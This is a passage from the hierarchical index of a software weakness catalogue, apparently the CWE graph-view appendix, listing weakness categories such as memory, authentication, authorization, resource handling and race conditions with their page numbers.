    - CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path *(p. 107)*
  - CWE-178: Improper Handling of Case Sensitivity *(p. 343)*
  - CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *(p. 30)*
  - CWE-243: Creation of chroot Jail Without Changing Working Directory *(p. 434)*
  - CWE-260: Password in Configuration File *(p. 464)*
  - CWE-282: Improper Ownership Management *(p. 498)*
  - CWE-284: Improper Access Control *(p. 500)*
  - CWE-41: Improper Resolution of Path Equivalence *(p. 73)*
  - CWE-434: Unrestricted Upload of File with Dangerous Type *(p. 744)*
  - CWE-533: Information Exposure Through Server Log Files *(p. 876)*
  - CWE-552: Files or Directories Accessible to External Parties *(p. 892)*
  - CWE-59: Improper Link Resolution Before File Access ('Link Following') *(p. 91)*
  - CWE-67: Improper Handling of Windows Device Names *(p. 103)*
  - CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer *(p. 1207)*
  - CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') *(p. 181)*
  - CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') *(p. 184)*
- CWE-633: Weaknesses that Affect Memory *(p. 983)*
  - CWE-251: Often Misused: String Management *(p. 446)*
  - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer *(p. 226)*
  - CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') *(p. 234)*
  - CWE-122: Heap-based Buffer Overflow *(p. 245)*
  - CWE-129: Improper Validation of Array Index *(p. 258)*
  - CWE-134: Use of Externally-Controlled Format String *(p. 277)*
  - CWE-14: Compiler Removal of Code to Clear Buffers *(p. 12)*
  - CWE-226: Sensitive Information Uncleared Before Release *(p. 417)*
  - CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') *(p. 435)*
  - CWE-316: Cleartext Storage of Sensitive Information in Memory *(p. 560)*
  - CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak') *(p. 695)*
  - CWE-415: Double Free *(p. 718)*
  - CWE-416: Use After Free *(p. 720)*
  - CWE-591: Sensitive Data Storage in Improperly Locked Memory *(p. 934)*
  - CWE-763: Release of Invalid Pointer or Reference *(p. 1167)*

- CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer *(p. 1207)*
- CWE-634: Weaknesses that Affect System Processes *(p. 984)*
  - CWE-387: Signal Errors *(p. 670)*
  - CWE-114: Process Control *(p. 215)*
  - CWE-214: Information Exposure Through Process Environment *(p. 408)*
  - CWE-266: Incorrect Privilege Assignment *(p. 472)*
  - CWE-273: Improper Check for Dropped Privileges *(p. 486)*
  - CWE-364: Signal Handler Race Condition *(p. 636)*
  - CWE-366: Race Condition within a Thread *(p. 641)*
  - CWE-383: J2EE Bad Practices: Direct Use of Threads *(p. 664)*
  - CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') *(p. 698)*
  - CWE-421: Race Condition During Access to Alternate Channel *(p. 726)*
  - CWE-422: Unprotected Windows Messaging Channel ('Shatter') *(p. 727)*
  - CWE-479: Signal Handler Use of a Non-reentrant Function *(p. 809)*
  - CWE-572: Call to Thread run() instead of start() *(p. 912)*
  - CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream *(p. 105)*
  - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p. 121)*
  - CWE-88: Argument Injection or Modification *(p. 155)*
  - CWE-426: Untrusted Search Path *(p. 731)*
    - CWE-275: Permission Issues *(p. 489)*
    - CWE-216: Containment Errors (Container Errors) *(p. 411)*
    - CWE-471: Modification of Assumed-Immutable Data (MAID) *(p. 793)*

Graph View: CWE-678: Composites

  - CWE-152: Improper Neutralization of Macro Symbols *(p. 304)*
  - CWE-153: Improper Neutralization of Substitution Characters *(p. 305)*
  - CWE-154: Improper Neutralization of Variable Name Delimiters *(p. 307)*
  - CWE-155: Improper Neutralization of Wildcards or Matching Symbols *(p. 308)*
  - CWE-156: Improper Neutralization of Whitespace *(p. 309)*
  - CWE-157: Failure to Sanitize Paired Delimiters *(p. 311)*
  - CWE-158: Improper Neutralization of Null Byte or NUL Character *(p. 312)*
  - CWE-159: Failure to Sanitize Special Element *(p. 314)*
    - CWE-160: Improper Neutralization of Leading Special Elements *(p. 316)*
      - CWE-161: Improper Neutralization of Multiple Leading Special Elements *(p. 317)*
    - CWE-162: Improper Neutralization of Trailing Special Elements *(p. 319)*
      - CWE-163: Improper Neutralization of Multiple Trailing Special Elements *(p. 320)*
    - CWE-164: Improper Neutralization of Internal Special Elements *(p. 321)*
      - CWE-165: Improper Neutralization of Multiple Internal Special Elements *(p. 323)*
    - CWE-166: Improper Handling of Missing Special Element *(p. 324)*
    - CWE-167: Improper Handling of Additional Special Element *(p. 325)*
    - CWE-168: Improper Handling of Inconsistent Special Elements *(p. 326)*
  - CWE-790: Improper Filtering of Special Elements *(p. 1217)*
    - CWE-791: Incomplete Filtering of Special Elements *(p. 1217)*
      - CWE-792: Incomplete Filtering of One or More Instances of Special Elements *(p. 1218)*
        - CWE-793: Only Filtering One Instance of a Special Element *(p. 1219)*
        - CWE-794: Incomplete Filtering of Multiple Instances of Special Elements *(p. 1220)*
      - CWE-795: Only Filtering Special Elements at a Specified Location *(p. 1221)*
        - CWE-796: Only Filtering Special Elements Relative to a Marker *(p. 1222)*
        - CWE-797: Only Filtering Special Elements at an Absolute Position *(p. 1222)*
- CWE-188: Reliance on Data/Memory Layout *(p. 359)*
- CWE-228: Improper Handling of Syntactically Invalid Structure *(p. 420)*
  - CWE-229: Improper Handling of Values *(p. 422)*
    - CWE-230: Improper Handling of Missing Values *(p. 422)*
    - CWE-231: Improper Handling of Extra Values *(p. 423)*
    - CWE-232: Improper Handling of Undefined Values *(p. 424)*
  - CWE-233: Improper Handling of Parameters *(p. 425)*
    - CWE-234: Failure to Handle Missing Parameter *(p. 426)*
    - CWE-235: Improper Handling of Extra Parameters *(p. 427)*
    - CWE-236: Improper Handling of Undefined Parameters *(p. 428)*

- CWE-237: Improper Handling of Structural Elements *(p. 429)*
  - CWE-238: Improper Handling of Incomplete Structural Elements *(p. 429)*
  - CWE-239: Failure to Handle Incomplete Element *(p. 430)*
  - CWE-240: Improper Handling of Inconsistent Structural Elements *(p. 430)*
- CWE-241: Improper Handling of Unexpected Data Type *(p. 431)*

- CWE-189: Numeric Errors *(p. 360)*
  - CWE-129: Improper Validation of Array Index *(p. 258)*
  - CWE-198: Use of Incorrect Byte Ordering *(p. 383)*
  - CWE-681: Incorrect Conversion between Numeric Types *(p. 1060)*
    - CWE-194: Unexpected Sign Extension *(p. 375)*
    - CWE-195: Signed to Unsigned Conversion Error *(p. 377)*
    - CWE-196: Unsigned to Signed Conversion Error *(p. 380)*
    - CWE-197: Numeric Truncation Error *(p. 381)*
  - CWE-682: Incorrect Calculation *(p. 1063)*
    - CWE-192: Integer Coercion Error *(p. 368)*
    - CWE-128: Wrap-around Error *(p. 256)*
    - CWE-131: Incorrect Calculation of Buffer Size *(p. 269)*
    - CWE-190: Integer Overflow or Wraparound *(p. 361)*
    - CWE-191: Integer Underflow (Wrap or Wraparound) *(p. 367)*
    - CWE-193: Off-by-one Error *(p. 371)*
    - CWE-369: Divide By Zero *(p. 648)*
  - CWE-839: Numeric Range Comparison Without Minimum Check *(p. 1283)*
- CWE-199: Information Management Errors *(p. 384)*
  - CWE-200: Information Exposure *(p. 384)*
    - CWE-201: Information Exposure Through Sent Data *(p. 388)*
    - CWE-202: Exposure of Sensitive Data Through Data Queries *(p. 389)*
    - CWE-203: Information Exposure Through Discrepancy *(p. 390)*
      - CWE-204: Response Discrepancy Information Exposure *(p. 392)*
      - CWE-205: Information Exposure Through Behavioral Discrepancy *(p. 394)*
        - CWE-206: Information Exposure of Internal State Through Behavioral Inconsistency *(p. 395)*
        - CWE-207: Information Exposure Through an External Behavioral Inconsistency *(p. 396)*
      - CWE-208: Information Exposure Through Timing Discrepancy *(p. 396)*
    - CWE-209: Information Exposure Through an Error Message *(p. 397)*
      - CWE-210: Information Exposure Through Self-generated Error Message *(p. 402)*
        - CWE-535: Information Exposure Through Shell Error Message *(p. 877)*
        - CWE-536: Information Exposure Through Servlet Runtime Error Message *(p. 878)*
        - CWE-537: Information Exposure Through Java Runtime Error Message *(p. 879)*
      - CWE-211: Information Exposure Through Externally-generated Error Message *(p. 404)*
      - CWE-550: Information Exposure Through Server Error Message *(p. 890)*
    - CWE-212: Improper Cross-boundary Removal of Sensitive Data *(p. 405)*

  - CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods *(p. 7)*
- CWE-902: SFP Primary Cluster: Channel *(p. 1332)*
  - CWE-956: SFP Secondary Cluster: Channel Attack *(p. 1378)*
    - CWE-290: Authentication Bypass by Spoofing *(p. 516)*
    - CWE-294: Authentication Bypass by Capture-replay *(p. 521)*
    - CWE-300: Channel Accessible by Non-Endpoint ('Man-in-the-Middle') *(p. 531)*
    - CWE-301: Reflection Attack in an Authentication Protocol *(p. 533)*
    - CWE-419: Unprotected Primary Channel *(p. 724)*

- CWE-420: Unprotected Alternate Channel *(p. 725)*
- CWE-421: Race Condition During Access to Alternate Channel *(p. 726)*
- CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') *(p. 755)*
- CWE-957: SFP Secondary Cluster: Protocol Error *(p. 1379)*
  - CWE-353: Missing Support for Integrity Check *(p. 617)*
  - CWE-435: Interaction Error *(p. 750)*
  - CWE-436: Interpretation Conflict *(p. 751)*
  - CWE-437: Incomplete Model of Endpoint Features *(p. 753)*
  - CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') *(p. 1155)*
- CWE-903: SFP Primary Cluster: Cryptography *(p. 1332)*
  - CWE-958: SFP Secondary Cluster: Broken Cryptography *(p. 1379)*
    - CWE-325: Missing Required Cryptographic Step *(p. 571)*
    - CWE-327: Use of a Broken or Risky Cryptographic Algorithm *(p. 574)*
    - CWE-328: Reversible One-Way Hash *(p. 579)*
    - CWE-759: Use of a One-Way Hash without a Salt *(p. 1156)*
    - CWE-760: Use of a One-Way Hash with a Predictable Salt *(p. 1160)*
  - CWE-959: SFP Secondary Cluster: Weak Cryptography *(p. 1379)*
    - CWE-261: Weak Cryptography for Passwords *(p. 465)*
    - CWE-322: Key Exchange without Entity Authentication *(p. 568)*
    - CWE-323: Reusing a Nonce, Key Pair in Encryption *(p. 569)*
    - CWE-324: Use of a Key Past its Expiration Date *(p. 570)*
    - CWE-326: Inadequate Encryption Strength *(p. 573)*
    - CWE-329: Not Using a Random IV with CBC Mode *(p. 581)*
    - CWE-347: Improper Verification of Cryptographic Signature *(p. 606)*
    - CWE-640: Weak Password Recovery Mechanism for Forgotten Password *(p. 991)*
- CWE-904: SFP Primary Cluster: Malware *(p. 1333)*
  - CWE-968: SFP Secondary Cluster: Covert Channel *(p. 1384)*
    - CWE-385: Covert Timing Channel *(p. 667)*
    - CWE-514: Covert Channel *(p. 860)*
    - CWE-515: Covert Storage Channel *(p. 861)*
  - CWE-506: Embedded Malicious Code *(p. 854)*
  - CWE-507: Trojan Horse *(p. 855)*
  - CWE-508: Non-Replicating Malicious Code *(p. 856)*
  - CWE-509: Replicating Malicious Code (Virus or Worm) *(p. 857)*
  - CWE-510: Trapdoor *(p. 857)*
  - CWE-511: Logic/Time Bomb *(p. 859)*
  - CWE-512: Spyware *(p. 859)*
  - CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream *(p. 105)*
- CWE-905: SFP Primary Cluster: Predictability *(p. 1333)*
  - CWE-330: Use of Insufficiently Random Values *(p. 582)*
  - CWE-331: Insufficient Entropy *(p. 587)*
  - CWE-332: Insufficient Entropy in PRNG *(p. 588)*
  - CWE-333: Improper Handling of Insufficient Entropy in TRNG *(p. 589)*
  - CWE-334: Small Space of Random Values *(p. 590)*
  - CWE-335: PRNG Seed Error *(p. 592)*
  - CWE-336: Same Seed in PRNG *(p. 593)*
  - CWE-337: Predictable Seed in PRNG *(p. 594)*
  - CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) *(p. 595)*
  - CWE-339: Small Seed Space in PRNG *(p. 596)*
  - CWE-340: Predictability Problems *(p. 597)*
  - CWE-341: Predictable from Observable State *(p. 597)*
  - CWE-342: Predictable Exact Value from Previous Values *(p. 599)*
  - CWE-343: Predictable Value Range from Previous Values *(p. 600)*
  - CWE-344: Use of Invariant Value in Dynamically Changing Context *(p. 601)*

Appendix A - Graph Views: CWE-888: Software Fault Pattern (SFP) Clusters

- CWE-906: SFP Primary Cluster: UI *(p. 1333)*
  - CWE-995: SFP Secondary Cluster: Feature *(p. 1396)*
    - CWE-447: Unimplemented or Unsupported Feature in UI *(p. 762)*
    - CWE-448: Obsolete Feature in UI *(p. 763)*
    - CWE-449: The UI Performs the Wrong Action *(p. 763)*
    - CWE-450: Multiple Interpretations of UI Input *(p. 764)*
    - CWE-451: User Interface (UI) Misrepresentation of Critical Information *(p. 765)*
    - CWE-549: Missing Password Field Masking *(p. 890)*
    - CWE-655: Insufficient Psychological Acceptability *(p. 1016)*
  - CWE-996: SFP Secondary Cluster: Security *(p. 1396)*
    - CWE-356: Product UI does not Warn User of Unsafe Actions *(p. 621)*
    - CWE-357: Insufficient UI Warning of Dangerous Operations *(p. 622)*
    - CWE-446: UI Discrepancy for Security Feature *(p. 761)*
  - CWE-997: SFP Secondary Cluster: Information Loss *(p. 1397)*
    - CWE-221: Information Loss or Omission *(p. 414)*
    - CWE-222: Truncation of Security-relevant Information *(p. 414)*
    - CWE-223: Omission of Security-relevant Information *(p. 415)*
    - CWE-224: Obscured Security-relevant Information by Alternate Name *(p. 416)*
- CWE-907: SFP Primary Cluster: Other *(p. 1334)*
  - CWE-975: SFP Secondary Cluster: Architecture *(p. 1386)*
    - CWE-348: Use of Less Trusted Source *(p. 607)*
    - CWE-359: Exposure of Private Information ('Privacy Violation') *(p. 623)*
    - CWE-602: Client-Side Enforcement of Server-Side Security *(p. 949)*
    - CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism') *(p. 987)*
    - CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking *(p. 1008)*
    - CWE-654: Reliance on a Single Factor in a Security Decision *(p. 1014)*
    - CWE-656: Reliance on Security Through Obscurity *(p. 1017)*
    - CWE-657: Violation of Secure Design Principles *(p. 1019)*
    - CWE-671: Lack of Administrator Control over Security *(p. 1040)*
    - CWE-693: Protection Mechanism Failure *(p. 1077)*
    - CWE-749: Exposed Dangerous Method or Function *(p. 1141)*
  - CWE-976: SFP Secondary Cluster: Compiler *(p. 1386)*
    - CWE-733: Compiler Optimization Removal or Modification of Security-critical Code *(p. 1131)*
  - CWE-977: SFP Secondary Cluster: Design *(p. 1387)*
    - CWE-115: Misinterpretation of Input *(p. 217)*
    - CWE-187: Partial Comparison *(p. 357)*
    - CWE-188: Reliance on Data/Memory Layout *(p. 359)*
    - CWE-193: Off-by-one Error *(p. 371)*
    - CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data *(p. 608)*
    - CWE-405: Asymmetric Resource Consumption (Amplification) *(p. 704)*
    - CWE-406: Insufficient Control of Network Message Volume (Network Amplification) *(p. 705)*
    - CWE-407: Algorithmic Complexity *(p. 707)*
    - CWE-408: Incorrect Behavior Order: Early Amplification *(p. 708)*
    - CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) *(p. 709)*
    - CWE-410: Insufficient Resource Pool *(p. 710)*
    - CWE-430: Deployment of Wrong Handler *(p. 740)*
    - CWE-462: Duplicate Key in Associative List (Alist) *(p. 780)*
    - CWE-463: Deletion of Data Structure Sentinel *(p. 781)*
    - CWE-464: Addition of Data Structure Sentinel *(p. 783)*
    - CWE-480: Use of Incorrect Operator *(p. 811)*
    - CWE-483: Incorrect Block Delimitation *(p. 817)*
    - CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined *(p. 924)*
    - CWE-595: Comparison of Object References Instead of Object Contents *(p. 938)*

- CWE-596: Incorrect Semantic Object Comparison *(p. 939)*
- CWE-618: Exposed Unsafe ActiveX Method *(p. 968)*
- CWE-648: Incorrect Use of Privileged APIs *(p. 1006)*
- CWE-670: Always-Incorrect Control Flow Implementation *(p. 1040)*
- CWE-682: Incorrect Calculation *(p. 1063)*
- CWE-691: Insufficient Control Flow Management *(p. 1075)*
- CWE-696: Incorrect Behavior Order *(p. 1080)*
- CWE-697: Insufficient Comparison *(p. 1081)*
- CWE-698: Execution After Redirect (EAR) *(p. 1082)*
- CWE-705: Incorrect Control Flow Scoping *(p. 1108)*

CWE-978: SFP Secondary Cluster: Implementation *(p. 1387)*
- CWE-216: Containment Errors (Container Errors) *(p. 411)*
- CWE-358: Improperly Implemented Security Check for Standard *(p. 622)*
- CWE-398: Indicator of Poor Code Quality *(p. 685)*
- CWE-623: Unsafe ActiveX Control Marked Safe For Scripting *(p. 973)*
- CWE-710: Coding Standards Violation *(p. 1112)*

Graph View: CWE-900: Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors

        - CWE-272: Least Privilege Violation *(p. 483)*
        - CWE-273: Improper Check for Dropped Privileges *(p. 486)*
      - CWE-274: Improper Handling of Insufficient Privileges *(p. 488)*
      - CWE-648: Incorrect Use of Privileged APIs *(p. 1006)*
    - CWE-282: Improper Ownership Management *(p. 498)*
      - CWE-283: Unverified Ownership *(p. 499)*
      - CWE-708: Incorrect Ownership Assignment *(p. 1111)*
    - CWE-285: Improper Authorization *(p. 502)*
      - CWE-219: Sensitive Data Under Web Root *(p. 412)*
        - CWE-433: Unparsed Raw Web Content Delivery *(p. 743)*
      - CWE-732: Incorrect Permission Assignment for Critical Resource *(p. 1124)*
        - CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag *(p. 1415)*
        - CWE-276: Incorrect Default Permissions *(p. 491)*
        - CWE-277: Insecure Inherited Permissions *(p. 493)*
        - CWE-278: Insecure Preserved Inherited Permissions *(p. 494)*
        - CWE-279: Incorrect Execution-Assigned Permissions *(p. 495)*
        - CWE-281: Improper Preservation of Permissions *(p. 497)*
        - CWE-689: Permission Race Condition During Resource Copy *(p. 1072)*
          - CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') *(p. 628)*
          - CWE-732: Incorrect Permission Assignment for Critical Resource *(p. 1124)*
      - CWE-862: Missing Authorization *(p. 1303)*
        - CWE-425: Direct Request ('Forced Browsing') *(p. 729)*
        - CWE-638: Not Using Complete Mediation *(p. 988)*
          - CWE-424: Improper Protection of Alternate Path *(p. 728)*
            - CWE-425: Direct Request ('Forced Browsing') *(p. 729)*
        - CWE-639: Authorization Bypass Through User-Controlled Key *(p. 990)*
          - CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key *(p. 905)*
        - CWE-939: Improper Authorization in Handler for Custom URL Scheme *(p. 1366)*
      - CWE-863: Incorrect Authorization *(p. 1308)*
        - CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization *(p. 891)*

- CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions *(p. 1004)*
- CWE-804: Guessable CAPTCHA *(p. 1233)*
- CWE-926: Improper Export of Android Application Components *(p. 1356)*
- CWE-927: Use of Implicit Intent for Sensitive Communication *(p. 1359)*
- CWE-286: Incorrect User Management *(p. 508)*
  - CWE-842: Placement of User into Incorrect Group *(p. 1290)*
- CWE-287: Improper Authentication *(p. 508)*
  - CWE-261: Weak Cryptography for Passwords *(p. 465)*
  - CWE-262: Not Using Password Aging *(p. 467)*
  - CWE-263: Password Aging with Long Expiration *(p. 468)*
  - CWE-288: Authentication Bypass Using an Alternate Path or Channel *(p. 513)*
    - CWE-425: Direct Request ('Forced Browsing') *(p. 729)*
  - CWE-289: Authentication Bypass by Alternate Name *(p. 514)*
  - CWE-290: Authentication Bypass by Spoofing *(p. 516)*
    - CWE-291: Reliance on IP Address for Authentication *(p. 518)*
    - CWE-293: Using Referer Field for Authentication *(p. 520)*
    - CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action *(p. 609)*
  - CWE-294: Authentication Bypass by Capture-replay *(p. 521)*
  - CWE-301: Reflection Attack in an Authentication Protocol *(p. 533)*
  - CWE-302: Authentication Bypass by Assumed-Immutable Data *(p. 535)*
  - CWE-303: Incorrect Implementation of Authentication Algorithm *(p. 536)*
  - CWE-305: Authentication Bypass by Primary Weakness *(p. 537)*
  - CWE-306: Missing Authentication for Critical Function *(p. 538)*
  - CWE-307: Improper Restriction of Excessive Authentication Attempts *(p. 542)*
  - CWE-308: Use of Single-factor Authentication *(p. 545)*
  - CWE-309: Use of Password System for Primary Authentication *(p. 546)*
  - CWE-521: Weak Password Requirements *(p. 864)*
    - CWE-258: Empty Password in Configuration File *(p. 459)*
  - CWE-522: Insufficiently Protected Credentials *(p. 865)*
    - CWE-256: Plaintext Storage of a Password *(p. 455)*
    - CWE-257: Storing Passwords in a Recoverable Format *(p. 457)*
    - CWE-260: Password in Configuration File *(p. 464)*
      - CWE-13: ASP.NET Misconfiguration: Password in Configuration File *(p. 11)*
      - CWE-258: Empty Password in Configuration File *(p. 459)*
    - CWE-523: Unprotected Transport of Credentials *(p. 868)*
    - CWE-549: Missing Password Field Masking *(p. 890)*
    - CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File *(p. 894)*
  - CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created *(p. 935)*
  - CWE-603: Use of Client-Side Authentication *(p. 952)*
  - CWE-613: Insufficient Session Expiration *(p. 962)*
  - CWE-620: Unverified Password Change *(p. 969)*
  - CWE-640: Weak Password Recovery Mechanism for Forgotten Password *(p. 991)*
  - CWE-645: Overly Restrictive Account Lockout Mechanism *(p. 1002)*
  - CWE-798: Use of Hard-coded Credentials *(p. 1223)*
    - CWE-259: Use of Hard-coded Password *(p. 460)*
    - CWE-321: Use of Hard-coded Cryptographic Key *(p. 566)*
  - CWE-804: Guessable CAPTCHA *(p. 1233)*
  - CWE-836: Use of Password Hash Instead of Password for Authentication *(p. 1279)*
  - CWE-384: Session Fixation *(p. 665)*
    - CWE-346: Origin Validation Error *(p. 603)*
    - CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') *(p. 755)*
    - CWE-472: External Control of Assumed-Immutable Web Parameter *(p. 795)*
- CWE-346: Origin Validation Error *(p. 603)*
- CWE-923: Improper Restriction of Communication Channel to Intended Endpoints *(p. 1354)*

- CWE-291: Reliance on IP Address for Authentication *(p. 518)*
- CWE-297: Improper Validation of Certificate with Host Mismatch *(p. 526)*
- CWE-300: Channel Accessible by Non-Endpoint ('Man-in-the-Middle') *(p. 531)*
- CWE-322: Key Exchange without Entity Authentication *(p. 568)*
- CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action *(p. 609)*
- CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action *(p. 609)*
- CWE-419: Unprotected Primary Channel *(p. 724)*
- CWE-420: Unprotected Alternate Channel *(p. 725)*
  - CWE-421: Race Condition During Access to Alternate Channel *(p. 726)*
  - CWE-422: Unprotected Windows Messaging Channel ('Shatter') *(p. 727)*
- CWE-925: Improper Verification of Intent by Broadcast Receiver *(p. 1355)*
- CWE-940: Improper Verification of Source of a Communication Channel *(p. 1368)*
- CWE-941: Incorrectly Specified Destination in a Communication Channel *(p. 1370)*
- CWE-942: Overly Permissive Cross-domain Whitelist *(p. 1371)*
- CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion') *(p. 689)*
  - CWE-410: Insufficient Resource Pool *(p. 710)*
  - CWE-770: Allocation of Resources Without Limits or Throttling *(p. 1178)*
    - CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling *(p. 1191)*
    - CWE-789: Uncontrolled Memory Allocation *(p. 1215)*
  - CWE-771: Missing Reference to Active Allocated Resource *(p. 1185)*
    - CWE-773: Missing Reference to Active File Descriptor or Handle *(p. 1190)*
  - CWE-772: Missing Release of Resource after Effective Lifetime *(p. 1186)*
    - CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak') *(p. 695)*
    - CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime *(p. 1192)*
    - CWE-911: Improper Update of Reference Count *(p. 1339)*
  - CWE-779: Logging of Excessive Data *(p. 1198)*
  - CWE-920: Improper Restriction of Power Consumption *(p. 1351)*
- CWE-404: Improper Resource Shutdown or Release *(p. 700)*
  - CWE-262: Not Using Password Aging *(p. 467)*
  - CWE-263: Password Aging with Long Expiration *(p. 468)*
  - CWE-299: Improper Check for Certificate Revocation *(p. 530)*
    - CWE-370: Missing Check for Certificate Revocation after Initial Check *(p. 650)*
  - CWE-459: Incomplete Cleanup *(p. 777)*
    - CWE-226: Sensitive Information Uncleared Before Release *(p. 417)*
      - CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') *(p. 435)*
    - CWE-460: Improper Cleanup on Thrown Exception *(p. 779)*
    - CWE-568: finalize() Method Without super.finalize() *(p. 907)*
  - CWE-619: Dangling Database Cursor ('Cursor Injection') *(p. 968)*
  - CWE-763: Release of Invalid Pointer or Reference *(p. 1167)*
    - CWE-761: Free of Pointer not at Start of Buffer *(p. 1162)*
    - CWE-762: Mismatched Memory Management Routines *(p. 1165)*
      - CWE-590: Free of Memory not on the Heap *(p. 932)*
  - CWE-772: Missing Release of Resource after Effective Lifetime *(p. 1186)*
    - CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak') *(p. 695)*
    - CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime *(p. 1192)*
    - CWE-911: Improper Update of Reference Count *(p. 1339)*
- CWE-405: Asymmetric Resource Consumption (Amplification) *(p. 704)*
  - CWE-406: Insufficient Control of Network Message Volume (Network Amplification) *(p. 705)*
  - CWE-407: Algorithmic Complexity *(p. 707)*
  - CWE-408: Incorrect Behavior Order: Early Amplification *(p. 708)*
  - CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) *(p. 709)*
    - CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') *(p. 1193)*

- CWE-410: Insufficient Resource Pool *(p. 710)*
- CWE-471: Modification of Assumed-Immutable Data (MAID) *(p. 793)*
  - CWE-291: Reliance on IP Address for Authentication *(p. 518)*
  - CWE-425: Direct Request ('Forced Browsing') *(p. 729)*
  - CWE-472: External Control of Assumed-Immutable Web Parameter *(p. 795)*
  - CWE-473: PHP External Variable Modification *(p. 798)*

CWE-691: Insufficient Control Flow Management *(p. 1075)*

- CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') *(p. 628)*
  - CWE-364: Signal Handler Race Condition *(p. 636)*
    - CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations *(p. 742)*
    - CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe *(p. 1263)*
      - CWE-479: Signal Handler Use of a Non-reentrant Function *(p. 809)*
    - CWE-831: Signal Handler Function Associated with Multiple Signals *(p. 1272)*
  - CWE-366: Race Condition within a Thread *(p. 641)*
  - CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition *(p. 643)*
    - CWE-363: Race Condition Enabling Link Following *(p. 635)*
    - CWE-365: Race Condition in Switch *(p. 640)*
    - CWE-609: Double-Checked Locking *(p. 957)*
  - CWE-368: Context Switching Race Condition *(p. 647)*
  - CWE-421: Race Condition During Access to Alternate Channel *(p. 726)*
  - CWE-662: Improper Synchronization *(p. 1026)*
    - CWE-663: Use of a Non-reentrant Function in a Concurrent Context *(p. 1027)*
      - CWE-479: Signal Handler Use of a Non-reentrant Function *(p. 809)*
      - CWE-558: Use of getlogin() in Multithreaded Application *(p. 895)*
    - CWE-667: Improper Locking *(p. 1034)*
      - CWE-412: Unrestricted Externally Accessible Lock *(p. 712)*
      - CWE-413: Improper Resource Locking *(p. 714)*
        - CWE-591: Sensitive Data Storage in Improperly Locked Memory *(p. 934)*
      - CWE-414: Missing Lock Check *(p. 717)*
      - CWE-609: Double-Checked Locking *(p. 957)*
      - CWE-764: Multiple Locks of a Critical Resource *(p. 1171)*
      - CWE-765: Multiple Unlocks of a Critical Resource *(p. 1172)*
      - CWE-832: Unlock of a Resource that is not Locked *(p. 1274)*
      - CWE-833: Deadlock *(p. 1275)*
    - CWE-820: Missing Synchronization *(p. 1252)*
      - CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context *(p. 885)*
      - CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context *(p. 906)*
    - CWE-821: Incorrect Synchronization *(p. 1253)*
      - CWE-572: Call to Thread run() instead of start() *(p. 912)*
      - CWE-574: EJB Bad Practices: Use of Synchronization Primitives *(p. 914)*
- CWE-430: Deployment of Wrong Handler *(p. 740)*
- CWE-431: Missing Handler *(p. 741)*
- CWE-623: Unsafe ActiveX Control Marked Safe For Scripting *(p. 973)*

- CWE-662: Improper Synchronization *(p. 1026)*
  - CWE-663: Use of a Non-reentrant Function in a Concurrent Context *(p. 1027)*
    - CWE-479: Signal Handler Use of a Non-reentrant Function *(p. 809)*
    - CWE-558: Use of getlogin() in Multithreaded Application *(p. 895)*
  - CWE-667: Improper Locking *(p. 1034)*
    - CWE-412: Unrestricted Externally Accessible Lock *(p. 712)*
    - CWE-413: Improper Resource Locking *(p. 714)*
      - CWE-591: Sensitive Data Storage in Improperly Locked Memory *(p. 934)*
    - CWE-414: Missing Lock Check *(p. 717)*
    - CWE-609: Double-Checked Locking *(p. 957)*
    - CWE-764: Multiple Locks of a Critical Resource *(p. 1171)*
    - CWE-765: Multiple Unlocks of a Critical Resource *(p. 1172)*
    - CWE-832: Unlock of a Resource that is not Locked *(p. 1274)*
    - CWE-833: Deadlock *(p. 1275)*
  - CWE-820: Missing Synchronization *(p. 1252)*
